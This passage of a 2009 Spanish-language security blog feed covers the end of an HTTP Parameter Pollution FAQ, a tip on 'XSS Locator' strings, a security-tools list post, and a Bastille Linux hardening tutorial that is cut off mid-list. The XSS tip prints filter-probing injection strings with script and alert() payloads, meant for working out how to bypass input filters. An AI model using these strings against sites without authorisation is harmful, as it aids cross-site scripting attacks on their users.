<strong>A:</strong> No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.</p>
<p><span style="color:#ff0000;"><strong>Q: HPP is only about WAFs bypasses?</strong></span><br />
<strong>A:</strong> Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.</p>
<p><span style="color:#ff0000;"><strong>Q: How can I prevent HPP?</strong></span><br />
<strong>A:</strong> First of all, answer yourself &#8220;Which layer am I protecting?&#8221;.<br />
Then, speaking about HPP server side, it&#8217;s always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.<br />
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.</p>
<p><span style="color:#ff0000;"><strong>Q: Am I vulnerable to HPP?</strong></span><br />
<strong>A:</strong> It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).</p>
<p>Para más información pueden descargar la presentación de la charla: <a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">HTTP Parameter Pollution</a></p>
<p>Un saludo!</p>
<br />Posted in Web App Security Tagged: app web sec, faq, http, owasp, parameter <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/212/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/212/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/212/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=212&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/25/http-parameter-pollution-faq/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e05078b8b5523e0c5cb86fd19990e329?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">eudax</media:title>
		</media:content>
	</item>
		<item>
		<title>Tip: XSS Locator</title>
		<link>http://arrivalsec.wordpress.com/2009/05/18/tip-xss-locator/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/18/tip-xss-locator/#comments</comments>
		<pubDate>Sun, 17 May 2009 22:16:39 +0000</pubDate>
		<dc:creator>eudax</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[bypassing]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[xss locator]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=199</guid>
		<description><![CDATA[Hola, la razón de este post (mini-post, más bien), es hablaros acerca de una cadena de caracteres llamada &#8220;XSS Locator&#8221;, creada por RSnake, de ha.ckers. Consiste simplemente en un conjunto de caracteres, tales como &#8220;, &#60;, o &#8216;, además de otros, cuyo objetivo consiste en facilitarnos la tarea de realizar un bypassing a algún filtro. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=199&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hola, la razón de este post (mini-post, más bien), es hablaros acerca de una cadena de caracteres llamada &#8220;XSS Locator&#8221;, creada por RSnake, de <a href="http://ha.ckers.org/">ha.ckers</a>. Consiste simplemente en un conjunto de caracteres, tales como <span style="color:#ff0000;">&#8220;</span>, <span style="color:#ff0000;">&lt;</span>, o <span style="color:#ff0000;">&#8216;</span>, además de otros, cuyo objetivo consiste en facilitarnos la tarea de realizar un bypassing a algún filtro. La cadena en cuestión es:</p>
<p><strong><span style="color:#ff0000;">&#8221;;!&#8211;&#8221;&lt;XSS&gt;=&amp;{()}</span></strong></p>
<p>Con esto conseguimos ver qué caracteres se filtran, y cuales no, para así, interpretando correctamente los resultados, tanto en la respuesta de la web como en el código fuente, desarrollar una sentencia que pueda vulnerar dicho filtro.</p>
<p>Aquí os dejo otro locator, proporcionado por Lix (gracias), sacado de <a href="http://h4k.in/encoding/index.php">aquí</a> :</p>
<p><strong><span style="color:#ff0000;">&#8216;;alert(0)//\&#8217;;alert(1)//&#8221;;alert(2)//\&#8221;;alert(3)//&#8211;&gt;&lt;/SCRIPT&gt;&#8221;"&gt;&#8217;&gt;&lt;SCRIPT&gt;alert(4)&lt;/SCRIPT&gt;=&amp;{}&#8221;");}alert(6);function xss(){//&#8221;</span></strong></p>
<p>Espero que sea de utilidad.</p>
<p><span style="color:#000000;"> </span></p>
<br />Posted in Tips, XSS Tagged: bypassing, cross site scripting, javascript, Tips, XSS, xss locator <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/199/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=199&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/18/tip-xss-locator/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e05078b8b5523e0c5cb86fd19990e329?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">eudax</media:title>
		</media:content>
	</item>
		<item>
		<title>Security Tools List</title>
		<link>http://arrivalsec.wordpress.com/2009/05/16/security-tools-list/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/16/security-tools-list/#comments</comments>
		<pubDate>Sat, 16 May 2009 14:58:27 +0000</pubDate>
		<dc:creator>Lix</dc:creator>
				<category><![CDATA[InfoSec tools]]></category>
		<category><![CDATA[hackz tools]]></category>
		<category><![CDATA[security tools]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=193</guid>
		<description><![CDATA[Buenas! La verdad es que esto se llevaba comentando desde hace un par de semanas en las seclist de securityfocus y creo que ya es buena hora de hacer un post y de paso ir agregando algunas páginas que también conozco. El 28 de Abril de 2009 un tal Ying mando un mail a bugtrag [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=193&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Buenas! La verdad es que esto se llevaba comentando desde hace un par de semanas en las seclist de securityfocus y creo que ya es buena hora de hacer un post y de paso ir agregando algunas páginas que también conozco.</p>
<p>El 28 de Abril de 2009 un tal Ying mando un <a href="http://www.securityfocus.com/archive/101/503057/30/0/threaded">mail a bugtrag</a> que decía más o menos esto (traducción literal):</p>
<blockquote><p>Hola a todos<br />
Estoy haciendo una lista de herramientas de seguridad. La idea es que esta lista esté echa por todos y para todos. Esto también está destinado para los colaboradores de backtrack y wifislax. Para aquellos que quieran colaborar, he creado un formulario utilizando google docs donde pueden enviar sus ideas o tools. Aceptamos todo tipo de sugerencias.</p>
<p>Cuando tengo una lista lo suficientemente larga la publicaré, si quieren preguntar por las herramientas que hay no tienen más que hacerlo.</p>
<p>La url del formulario de google docs es:</p>
<p><a href="http://spreadsheets.google.com/viewform?hl=en&amp;formkey=cjRsNFh5cENXT2pra3lYOXU4aXNUVFE6MA">http://spreadsheets.google.com/viewform?hl=en&amp;formkey=cjRsNFh5cENXT2pra3lYOXU4aXNUVFE6MA</a></p>
<p>Saludos a todos.</p></blockquote>
<p>El topic tuvo bastante éxito y recibió varias respuestas, más tarde, concretamente dos días después se público la <a href="http://www.securityfocus.com/archive/1/503087/30/150/threaded">primera versión de dicha lista.</a> Más tarde, (12 de mayo) la primera versión de la lista <a href="http://www.securityfocus.com/archive/1/503442/30/30/threaded">fue modificada</a> clasificando las herramientas por sistema operativo o por el tipo de funcionamiento.</p>
<p>La url de dicho proyecto es esta: <a href="http://securitytoolslist.domandhost.com/">Security Tools List</a></p>
<p>Algunas otras páginas de este tipo son:</p>
<p><a href="http://www.slac.stanford.edu/xorg/nmtf/nmtf-tools.html">http://www.slac.stanford.edu/xorg/nmtf/nmtf-tools.html</a> (Network Monitoring tools [thanks Pr0x])</p>
<p><a href="http://www.vulnerabilityassessment.co.uk/index.htm">http://www.vulnerabilityassessment.co.uk/index.htm</a> (más que nada enfocada a la enumeración)</p>
<br />Posted in InfoSec tools Tagged: hackz tools, security tools, tools <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/193/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=193&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/16/security-tools-list/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2f5687747fd22b7e225a0044f0ba6abc?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Lix</media:title>
		</media:content>
	</item>
		<item>
		<title>Hardening I: Bastille, a tool for SysAdmins</title>
		<link>http://arrivalsec.wordpress.com/2009/05/15/hardening-i-bastille-a-tool-for-sysadmins/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/15/hardening-i-bastille-a-tool-for-sysadmins/#comments</comments>
		<pubDate>Fri, 15 May 2009 19:25:26 +0000</pubDate>
		<dc:creator>Raúl</dc:creator>
				<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Administracion]]></category>
		<category><![CDATA[Bastille]]></category>
		<category><![CDATA[HP-UX]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MacOS X]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[Sistemas]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=129</guid>
		<description><![CDATA[Antes de comenzar me gustaría presentarme. Mi nick es Pr0x, llevo más de un año en el underground y soy un fanático-maniático de la seguridad informática, pero más bien en el ámbito de las redes y los sistemas. Aparte, me gustaría agradecerles a Lix y EudaX, por depositar su confianza en mí al llegar a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=129&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:left;">Antes de comenzar me gustaría presentarme. Mi nick es <strong>Pr0x</strong>, llevo más de un año en el <em>underground</em> y soy un fanático-maniático de la seguridad informática, pero más bien en el ámbito de las redes y los sistemas. Aparte, me gustaría agradecerles a Lix y EudaX, por depositar su confianza en mí al llegar a ser un miembro más de Arrival Security. Y como no, me gustaría dedicarle especialmente este artículo a SH4V, pRotos y KilerSys al haberme acompañado durante todo este tiempo en este maravilloso mundo, ya que sin ellos no hubiera sido lo mismo, incluyendo por supuesto a Lix, que fue una de las personas que me incitó a seguir aprendiendo y sobre todo, aprovechando la ocasión, a uno de los mejores profesores que he tenido, llamado Lucio.</p>
<p style="text-align:center;"><strong>¡Muchas gracias a todos! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></p>
<p style="text-align:left;"><strong>INTRODUCCIÓN</strong></p>
<p style="text-align:left;">En este artículo aprenderemos a manejar <strong>Bastille</strong>, desde su instalación y configuración exhaustivamente para proporcionar una mayor seguridad de nuestro sistema Linux. Bastille es una de las tantas herramientas de <em>hardening</em> con el que ahorramos bastante tiempo desde la configuración de cada archivo individual hasta la programación para el fortalecimiento del mismo pudiendo ejecutarse bajo <strong>Linux</strong>, <strong>HP-UX</strong> e incluso <strong>MacOS X</strong>. Con ella podemos realizar bastantes tareas como deshabilitar servicios y puertos innecesarios. Además, cabe decir que, Bastille es un conjunto de scripts en Perl que toma la información que le indiquemos desde una set de preguntas y respuestas de las que ya comentaré a lo largo de este artículo desde una interfaz bastante amigable.</p>
<p style="text-align:left;">He aquí una lista de las características que nos ofrece Bastille, pero que puede variar a medida de que aparezcan nuevas versiones.</p>
<p><strong>NOTA: </strong><em>Este artículo ha sido elaborado con la versión 3.0.9 de Bastille.</em></p>
<p><strong>- Aplicar permisos restrictivos en las utilidades de administrador:</strong> Permite tan solo a root leer y ejecutar las utilidades habituales de administrador como <em>ifconfig</em>, <em>linuxconf</em>, <em>ping</em>, <em>traceroute</em> y <em>runlevel</em>, deshabilitando el estado del <a href="http://es.wikipedia.org/wiki/Setuid" target="_blank">SUID</a> root para estas herramientas , de modo que los usuarios no fueran root, no pudieran usarlo.</p>
<p style="text-align:left;"><strong>- Deshabilitar los protocolos r:</strong> Los protocolos r permiten a los usuarios entrar en sistemas remotos usando una autenticación en base a la IP. Esta autenticación permite sólo a determinadas IP acceder remotamente a un sistema. Dado que esta autenticación se basa en la dirección IP, un intruso que ha descubierto una IP autorizada puede crear paquetes camuflados que parecen provenir de ese sistema autorizado. (Véase como ejemplo: <a href="http://es.wikipedia.org/wiki/RPC" target="_blank">RPC</a>)</p>
<p><strong>- Implementar caducidad de contraseñas:</strong> Los sistemas Linux por defecto permiten contraseñas que expiran después de 99.999 días. Dado que esto es demasiado en un entorno seguro, Bastille ofrece cambiar la expiración de la contraseña a 180 días. Estas configuraciones están escritas en el archivo /etc/login.defs que pueden ser modificadas posteriormente con un editor cualquiera.</p>
<p style="text-align:left;"><strong>- Deshabilitar Control-Alt-Supr para reiniciar:</strong> Esto no permite reiniciar la máquina, algo bastante esencial si nos referimos a su seguridad física.</p>
<p style="text-align:left;"><strong>- Optimizar las envolturas TCP:</strong> Esta elección modifica el archivo inetd.conf y el archivo /etc/hosts.allow de modo que inetd debe contactar con las envolturas TCP siempre que reciba una petición en lugar de ejecutar automáticamente el servicio solicitado. Las envolturas TCP determinarán si la dirección IP solicitante está autorizada para ejecutar el servicio en particular. Si la petición no está permitida, se deniega y el intento se registra. Aunque la autenticación basada en IP puede ser vulnerable, esta optimización añade una capa de seguridad en el proceso. No está recomendado para la mayoría de escenarios.</p>
<p style="text-align:left;"><strong>- Añadir mensajes de autorización de uso:</strong> Estos mensajes aparecen automáticamente cuando alguien accede en el sistema.</p>
<p><strong>- Limitar el uso de los recursos del sistema:</strong> Si limita el uso de los recursos del sistema, puede reducir las oportunidades de fallo de un servidor a un ataque <a href="http://es.wikipedia.org/wiki/DOS" target="_blank">DoS</a>. Si elige limitar el uso de los recursos del sistema en Bastille, se producirán los siguientes cambios:</p>
<ul>
<li>El tamaño de archivos se limita a 40 MB</li>
<li>Cada usuario se limita a 150 procesos.</li>
<li>El número de archivos del <em>core</em> permitidos por usuario se configura a cero. Los archivos del <em>core</em> se usan para tratar problemas del sistema. Son grandes y utilizables si se obtiene el control de los mismos: pueden crecer y consumir su sistema de archivos.</li>
</ul>
<p style="text-align:left;"><strong>- Restringir el acceso a consola:</strong> Cualquiera con acceso a la consola tiene derechos especiales, como montar un CD-ROM. Bastille puede especificar qué cuentas de usuario tienen acceso para entrar por consola.</p>
<p><strong>- Registro remoto y adicional:</strong> Dos registros adicionales podrían añadirse a /var/log:</p>
<ul>
<li>/var/log/kernel (mensajes del kernel)</li>
<li>/var/log/syslog (mensajes de error y avisos) Puede también hacer el registro de un host remoto si existe.</li>
</ul>
<p style="text-align:left;"><strong>- Configuración de cuenta de procesos:</strong> Le permite registrar los comandos de todos los usuarios. También registra cuando fueron ejecutados los comandos. Este archivo de registro son útiles para el seguimiento de un intruso en un sistema, pero el archivo puede llegar rápidamente a ser muy grande. Si se tiene acceso root, lógicamente puede ser eliminado.</p>
<p><strong>- Desactivar NFS y Samba:</strong> Le permite deshabilitar los servicios NFS y Samba.<br />
Samba proporciona un sistema de archivos compartido. A menos que el cortafuegos se configure para bloquear los paquetes o el administrador asegure estos servicios. Bastille recomienda desactivarlos.</p>
<p><strong>- Fortalecer el servidor Web Apache:</strong> Debería desactivarse si el servicio (httpd) no es utilizado.</p>
<p style="text-align:left;"><strong>IMPLEMENTACIÓN</strong></p>
<p>Bajo Linux, Bastille es ofrecida desde los repositorios de nuestra distribución, pero si por algún caso no la estuviera, tendríamos la posibilidad de descargarla desde su propia <a href="http://bastille-linux.sourceforge.net">página oficial</a>. Aunque en este artículo nos centraremos en la instalación desde su propio <a href="http://bastille-linux.sourceforge.net/source.htm" target="_blank">código fuente</a>, así qué ¡allá vamos!</p>
<p><strong>$</strong><strong> cd /tmp; wget http://nfsi.dl.sourceforge.net/sourceforge/bastille-linux/Bastille-3.0.9.tar.bz2; tar -xjvf Bastille*; cd Bastille; ./Install.sh</strong></p>
<p>Una vez instalado, ejecutaremos Bastille desde la línea de comandos. Para ello tenemos dos intefaces disponibles, una basada en <a href="http://es.wikipedia.org/wiki/Ncurses" target="_blank">Ncurses</a> (<strong>bastille -x</strong>) y otra en <a href="http://es.wikipedia.org/wiki/Tk" target="_blank">Tk</a> (<strong>bastille -c</strong>)</p>
<p><em><strong>NOTA:</strong> Debemos de tener instalado </em><em>Perl-Tk para su ejecución.</em></p>
<p>Una vez ejecutado, podemos observar que nos encontramos con una pantalla de bienvenida,<span id="more-129"></span> la cual está dividida en grupos y funciones y a su vez, las funciones están divididas en preguntas relacionadas a los grupos que veremos ahora.</p>
<p><img class="alignnone size-full wp-image-128" title="Tk Bastille Image" src="http://arrivalsec.files.wordpress.com/2009/05/bastille.jpg?w=645" alt="Tk Bastille Image"   /></p>
<p><em><strong>NOTA: </strong>Todas las elecciones que implemente en Bastille se registran en el archivo /root/Bastille/config.</em></p>
<ul>
<li><strong>Grupo:</strong> FilePermissions<span style="font-style:italic;"><span style="font-weight:bold;"><br />
</span></span><strong>Would you like to set more restrictive permissions on the administration utilities? [N]:</strong> Útil en máquinas con múltiples cuentas de usuario. Hay utilidades que en general, sólo son ejecutadas por el administrador de la máquina aunque por defecto los usuarios habituales tienen acceso a ellas, al menos a parte de sus funcionalidades, como pueden ser los comandos <span style="font-style:italic;">top</span> o <span style="font-style:italic;">ifconfig</span>. Para evitar los posible problemas de seguridad a los que podría dar lugar a esto, Bastille puede cambiar los permisos de las mencionadas aplicaciones con el fin de asegurar que sólo el administrador pueda ejecutarlas. Si usted es el único usuario de la máquina no tiene sentido que habilite esta opción. Si cuenta con otros usuarios que acceden a ella, sí que sería interesante añadir esta opción.</li>
<li><strong>Grupo:</strong> FilePermissions<span style="font-style:italic;"><span style="font-weight:bold;"><br />
</span></span><strong>Would you like to disable SUID status for mount/umount? [Y]:</strong> En general, los programas que tienen el atributo SUID son muy peligrosos ya que pueden ser invocados por usuarios normales, se ejecutan con privilegios de superusuario. Esto no entrañaría ningún riesgo si estos programas se limitasen a hacer aquello para lo que fueron diseñados, el problema está en que es relativamente habitual que se descubran bugs en estas aplicaciones que permitan &#8220;engañarlas&#8221; para que hagan funciones indeseables con privilegios de superusuario. Si dice que sí en esta pregunta, Bastille se asegurará de que el comando <em>mount/umount</em> sólo pueda ser ejecutado por aquellos que conozcan la contraseña de superusuario, reduciendo así la exposición al riesgo del equipo.</li>
<li><strong>Grupo:</strong> FilePermissions<br />
<strong>Would you like to disable SUID status for ping? [Y]:</strong> Similar al anterior.</li>
<li><strong>Grupo:</strong> FilePermissions<br />
<strong>Would you like to disable SUID status por at? [Y]:</strong> El comando <em>at</em> se utiliza para programar tareas individualmente para que se ejecute en un momento dado. Históricamente han sido muchas hazañas que se han aprovechado, por consecuente es recomendable desactivarlo.</li>
<li><strong>Grupo:</strong> FilePermissions<br />
<strong>Would you like to disable the r-tools? [Y]: </strong>Las llamadas <strong>r-tools</strong> son un conjunto de utilidades para la administración remota de equipos, como pueden ser rlogin, rsh, rdist, rpc y similares. El problema con estas herramientas es que todas las transacciones son hechas en texto plano, es decir, la información no es enviada ni recibida de forma cifrada lo que representa un riesgo de seguridad si la transferencia es víctima de sniffing. Contestar afirmativamente a esta pregunta deshabilitaría el uso completo de las herramientas a todos los usuarios (incluyendo root) lo cual es recomendable tomando en cuenta que cada una de estas herramientas tiene actualmente equivalentes más seguras basadas en <a href="http://es.wikipedia.org/wiki/OpenSSL">OpenSSL</a>, <a href="http://es.wikipedia.org/wiki/Pluggable_Authentication_Modules" target="_blank">PAM</a>, <a href="http://es.wikipedia.org/wiki/Secure_Shell" target="_blank">SSH</a> y similares.</li>
<li><strong>Grupo:</strong> FilePermissions<br />
<strong>Would you like to disable SUID status for usernetctl? [Y]: </strong><a href="http://linux.about.com/library/cmd/blcmdl8_usernetctl.htm" target="_blank"><em>usernetctl</em></a>, es una utilidad similar a <em>ifconfig</em> que permite a los usuarios normales el control a las interfaces de red, lo cual es recomendable deshabilitarlo.</li>
<li><strong>Grupo:</strong> AccountSecurity<br />
<strong>Pregunta: Should Bastille disable clear-text r-protocols that use IP-based authentication?</strong> <strong>[Y]:</strong><br />
<strong>Descripción:</strong> La diferencia de esta pregunta a la anterior es que se refiere al uso de r-tools a nivel de servidor, es decir, permitir que se ejecute por ejemplo rsh en tu sistema y de esta forma poder acceder remotamente a él con rlogin. La misma razón que se describió en la pregunta anterior es por la que deberíamos desactivar estas herramientas.</li>
<li><strong>Grupo:</strong> AccountSecurity<br />
<strong>Would you like to enforce password aging? [Y]:</strong> Habilita un tiempo de caducidad de las contraseñas a 60 días. Antes de que pase ese tiempo se pedirá al usuario que cambie su contraseña. Si se cumple el plazo y el usuario no ha cambiado su contraseña se procederá a bloquear su cuenta hasta que el administrador la vuelva a activar (Véase <a href="http://linux.about.com/od/commands/l/blcmdl8_usermod.htm" target="_blank">usermod</a>)</li>
<li><strong>Grupo:</strong> AccountSecurity<br />
<strong>Do you want to set the default umask? [Y]:</strong> El umask son los permisos por defecto que se le asignan a los ficheros que vaya creando. Lo más aconsejable es dejar que Bastille lo fije a un valor seguro (077).</li>
<li><strong>Grupo:</strong> AccountSecurity<br />
<strong>Should we disallow root login on tty&#8217;s 1-6? [N]: </strong>Las tty, son terminales accesibles desde las combinaciones CTRL+ALT+F1 hasta F7, por lo que Bastille nos ofrece deshabilitar el acceso root a dichas terminales para que sea conectado antes con un usuario normal con los mínimos privilegios posibles.</li>
<li><strong>Grupo:</strong> BootSecurity<br />
<strong>Would you like to password-protect the GRUB prompt? [N]:</strong> En caso de que un intruso tenga acceso físico al equipo, puede obtener una consola de root rebotando el equipo y pasándole unos parámetros determinados al GRUB. Para evitar esto, lo mejor es activar esta opción de tal manera que aunque se pueda reiniciar el equipo y arrancarlo normalmente, sólo se puedan pasar parámetros al GRUB autenticando antes con su respectiva contraseña, pero si lo que tenemos es un equipo remoto a disposición sin acceso físico alguno, mejor descartar esta opción.</li>
<li><strong>Grupo:</strong> BootSecurity<br />
<strong>Would you like to password protect single-user-mode? [Y]:</strong> El modo mono-usuario sirve para arrancar el sistema de manera que única y exclusivamente pueda acceder el superusuario. Es un tipo de acceso que se utiliza en casos de emergencia, cuando por ejemplo no se recuerda la contraseña de root ya que no suele solicitarse autentificación, esto supone un arma de doble filo que puede permitir el acceso no autorizado al sistema. Si se activa esta opción, Bastille evitará esta situación solicitando contraseña de root al acceder por dicho modo.</li>
<li><strong>Grupo:</strong> SecureInetd<br />
<strong>Would you like to set a default-deny on TCP Wrappers and xinetd? [N]:</strong> <em>inetd</em> es un <em>demonio</em> que se inicia al principio de la secuencia de arranque en Linux, que tiene la función de escuchar varios puertos concretos y así cuando una conexión a un puerto es requerida, inicia el proceso asociado a dicho puerto. Como pueden ser las de servicios de FTP, POP, IMAP, etcétera, por lo que no es recomendable desactivarlo si se quiere utilizar dichos servicios.<span style="font-style:italic;"><br />
</span></li>
<li><strong>Grupo:</strong> SecureInetd<br />
<strong>Would you like to display &#8220;Authorized Use&#8221; messages at log-in time? [Y]:</strong> Esta opción habilitará un mensaje que aparecerá al comienzo de las sesiones de consola. Este mensaje advertirá de que se está accediendo a un sistema restringido y que cualquier acceso no permitido puede ser perseguido por vía legal. Posteriormente podremos editar dicho mensaje para adecuarlo convenientemente a lo que diga el Departamento Jurídico. (Véase /<em>etc/motd</em>)</li>
<li><strong>Grupo:</strong> SecureInetd<br />
<strong>Who is responsible for granting authorization to use this machine?:</strong> Esta una pregunta dirigida a redactar el mensaje mencionado antes. En este caso se trata de identificar al responsable del equipo encargado de autorizar los diferentes accesos a él, en mi caso Pr0x.</li>
<li><strong>Grupo:</strong> ConfigureMiscPAM<br />
<strong>Would you like to put this limits on system resource usage? [N]:</strong> Permite establecer ciertos límites al número de procesos y memoria usados por usuario con el fin de evitar ataques de denegación de servicio. Si no se activa, posteriormente podemos configurarlo manualmente editando al archivo de configuración <em>/etc/security/limits.conf</em></li>
<li><strong>Grupo:</strong> ConfigureMiscPAM<br />
<strong>Should we restrict console access to a small group of users accounts? [N]:</strong> En algunas distribuciones, los usuarios que inician sesión por consola tienen algunos derechos especiales de acceso (como la posibilidad de montar la unidad de CD-ROM). Esta opción es mucho más flexible, restringiendo el acceso a la consola.</li>
<li><strong>Grupo: </strong>Logging<br />
<strong>Would you like to add additional logging? [Y]:</strong> Configura el equipo para que incremente el número de fuentes de log y se añadan /<em>var/log/kernel</em> y <em>/var/log/syslog</em> siendo accesibles desde las terminales 7 y 8 (mediante <em>Alt+F7</em> y <em>F8</em> respectivamente)</li>
<li><strong>Grupo:</strong> Logging<br />
<strong>Do you have a remote logging host? [N]:</strong> Si ya tiene un registro de host remoto, se puede configurar la máquina para acceder a ella.</li>
<li><strong>Grupo:</strong> Logging<br />
